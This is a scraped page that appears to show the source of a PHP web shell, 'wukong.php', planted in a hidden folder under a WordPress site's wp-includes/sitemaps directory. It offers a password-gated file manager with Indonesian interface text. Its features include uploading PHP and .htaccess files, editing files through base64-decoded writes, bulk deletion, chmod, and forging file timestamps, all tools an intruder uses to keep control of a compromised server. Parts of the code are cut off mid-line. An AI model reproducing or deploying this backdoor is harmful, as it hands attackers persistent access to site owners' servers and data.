/home/vianto5/heredit.mx/wp-includes/sitemaps/knjzdar/etikmjv/fsariey
Edit: /home/vianto5/heredit.mx/wp-includes/sitemaps/knjzdar/etikmjv/fsariey/wukong.php (69361B)
900) $_SESSION['_login_attempts'] = 0;
if ($_SESSION['_login_attempts'] >= 5) {
$wait = 900 - (time() - $_SESSION['_login_last']);
$login_error = "Terlalu banyak percobaan. Tunggu " . ceil($wait/60) . " menit.";
} elseif ($input_user !== AUTH_USER) {
$_SESSION['_login_attempts']++;
$_SESSION['_login_last'] = time();
$login_error = "Username atau password salah.";
sleep(1);
} elseif (!password_verify($input_pass, getAuthHash())) {
$_SESSION['_login_attempts']++;
$_SESSION['_login_last'] = time();
$login_error = "Username atau password salah.";
sleep(1);
} else {
session_regenerate_id(true);
$_SESSION['_login_attempts'] = 0;
$_SESSION['logged_in'] = true;
$_SESSION['login_time'] = time();
$_auto_user = function_exists("posix_getpwuid") && function_exists("posix_getuid")
? (posix_getpwuid(posix_getuid())["name"] ?? get_current_user())
: (get_current_user() ?: "unknown");
$_SESSION['user_email'] = $_auto_user;
header("Location: ?");
exit;
}
}
if (empty($_SESSION['logged_in'])) {
?>
· Login
File Manager · Secure Access
·
Session secured ·
1024; $i++) $bytes /= 1024;
return round($bytes, 2) . ' ' . $units[$i];
}
public static function getPerms($file) {
clearstatcache(); $perms = @fileperms($file);
return $perms ? substr(sprintf('%o', $perms), -4) : '????';
}
public static function isOwned($file) {
clearstatcache();
$file_uid = @fileowner($file);
$proc_uid = function_exists('posix_getuid') ? posix_getuid() : @getmyuid();
if ($file_uid === false || $proc_uid === false) return null;
return $file_uid === $proc_uid;
}
public static function getOwner($file) {
clearstatcache(); $uid = @fileowner($file);
if ($uid === false) return '?';
if (function_exists('posix_getpwuid')) { $info = posix_getpwuid($uid); return $info ? $info['name'] : (string)$uid; }
return (string)$uid;
}
public static function getMtime($file) {
$mt = @filemtime($file); return $mt ? date('Y/m/d H:i', $mt) : '—';
}
public static function getMtimeRaw($file) {
$mt = @filemtime($file); return $mt ? date('Y-m-d\TH:i', $mt) : '';
}
public static function getFileSize($file) {
if (is_dir($file)) return '—';
$s = @filesize($file); return $s !== false ? self::formatSize($s) : '?';
}
public static function getExtType($name, $is_dir) {
if ($is_dir) return 'dir';
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
$map = [
'php'=>'php','phtml'=>'php','shtml'=>'php',
'js'=>'js','ts'=>'js','jsx'=>'js','tsx'=>'js',
'css'=>'css','scss'=>'css','less'=>'css',
'html'=>'html','htm'=>'html',
'jpg'=>'img','jpeg'=>'img','png'=>'img','gif'=>'img','webp'=>'img','svg'=>'img','ico'=>'img',
'txt'=>'txt','md'=>'txt','log'=>'txt',
'xml'=>'xml','json'=>'xml','yaml'=>'xml','yml'=>'xml',
'zip'=>'zip','tar'=>'zip','gz'=>'zip','rar'=>'zip','7z'=>'zip',
'sh'=>'sh','bash'=>'sh','zsh'=>'sh',
'sql'=>'sql','db'=>'sql','sqlite'=>'sql',
'htaccess'=>'cfg','env'=>'cfg','conf'=>'cfg','ini'=>'cfg',
];
return $map[$ext] ?? 'file';
}
}
$script_dir = str_replace('\\', '/', __DIR__);
$current_path = isset($_GET['path']) ? str_replace(['..','\\'], '', $_GET['path']) : $script_dir;
if (!is_dir($current_path)) $current_path = $script_dir;
$current_path = rtrim($current_path, '/');
$status_msg = ""; $status_type = "info";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['upload'])) {
$allowed = ['html','png','php','jpeg','jpg','txt','css','js','phtml','shtml','.htaccess','.xml'];
$filename = $_FILES['upload']['name']; $tmp_name = $_FILES['upload']['tmp_name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$target_file = $current_path . '/' . $filename;
if (!in_array($ext, $allowed)) { $status_msg = "Ekstensi .$ext tidak diizinkan."; $status_type = "error"; }
elseif (!is_writable($current_path)) { $status_msg = "Permission denied pada folder ini."; $status_type = "error"; }
else {
if (move_uploaded_file($tmp_name, $target_file)) { $status_msg = "Upload berhasil: $filename"; $status_type = "success"; }
elseif (copy($tmp_name, $target_file)) { $status_msg = "Upload berhasil (copy): $filename"; $status_type = "success"; }
else { $c=file_get_contents($tmp_name); if(file_put_contents($target_file,$c)!==false){$status_msg="Upload berhasil: $filename";$status_type="success";}else{$status_msg="Upload gagal total.";$status_type="error";} }
}
}
if (isset($_POST['new_file_name'])) {
$fname = str_replace(['/','\\','..'], '', $_POST['new_file_name']);
if (!empty($fname)) { if(file_put_contents($current_path.'/'.$fname,"")!==false){$status_msg="File '$fname' berhasil dibuat.";$status_type="success";}else{$status_msg="Gagal membuat file.";$status_type="error";} }
}
if (isset($_POST['old_name'], $_POST['new_name'])) { @rename($current_path.'/'.$_POST['old_name'], $current_path.'/'.$_POST['new_name']); $status_msg="Rename berhasil ke ".$_POST['new_name']."."; $status_type="success"; }
if (isset($_POST['new_folder'])) { @mkdir($current_path.'/'.$_POST['new_folder'], 0755); $status_msg="Folder '".$_POST['new_folder']."' dibuat."; $status_type="success"; }
if (isset($_POST['edit_b64'])) { file_put_contents($current_path.'/'.$_POST['filename'], base64_decode($_POST['edit_b64'])); $status_msg=$_POST['filename']." berhasil disimpan."; $status_type="success"; }
if (isset($_POST['bulk_delete'], $_POST['items'])) {
$n=0; foreach($_POST['items'] as $item){$t=$current_path.'/'.str_replace(['..','/'],'',$item);is_dir($t)?@rmdir($t):@unlink($t);$n++;}
$status_msg="$n item berhasil dihapus."; $status_type="success";
}
if (isset($_POST['chmod_file'], $_POST['chmod_val'])) {
$t=$current_path.'/'.$_POST['chmod_file'];
if(@chmod($t,octdec($_POST['chmod_val']))){$status_msg="Permission ".$_POST['chmod_file']." diubah ke ".$_POST['chmod_val'].".";$status_type="success";}
else{$status_msg="Gagal mengubah permission ".$_POST['chmod_file'].".";$status_type="error";}
}
if (isset($_POST['touch_file'], $_POST['touch_time'])) {
$t=$current_path.'/'.str_replace(['..','/'],'',$_POST['touch_file']);
$ts=strtotime($_POST['touch_time']);
if(!$ts){$status_msg="Format waktu tidak valid.";$status_type="error";}
elseif(@touch($t,$ts,$ts)){$status_msg="Timestamp ".$_POST['touch_file']." diubah ke ".date('Y/m/d H:i',$ts).".";$status_type="success";}
else{$status_msg="Gagal mengubah timestamp. Cek permission.";$status_type="error";}
}
}
if (isset($_GET['delete'])) {
$t=$current_path.'/'.$_GET['delete']; is_dir($t)?@rmdir($t):@unlink($t);
header("Location: ?path=".urlencode($current_path)); exit;
}
$total_space = disk_total_space($current_path);
$free_space = disk_free_space($current_path);
$used_space = $total_space - $free_space;
$used_percent = round(($used_space/$total_space)*100,1);
$items = scandir($current_path); $folders=$files=[];
foreach($items as $i){ if($i=='.'||$i=='..') continue; is_dir($current_path.'/'.$i)?$folders[]=$i:$files[]=$i; }
natcasesort($folders); natcasesort($files);
$sorted = array_merge($folders, $files);
$parts = explode('/', trim($current_path,'/'));
$total_items = count($sorted);
$total_files = count($files);
$total_folders = count($folders);
$proc_user = function_exists('posix_getpwuid') && function_exists('posix_getuid')
? (posix_getpwuid(posix_getuid())['name'] ?? get_current_user())
: (get_current_user() ?: '?');
?>
· File Manager
Total
·
Dir
·
File
·
Free
·
Disk%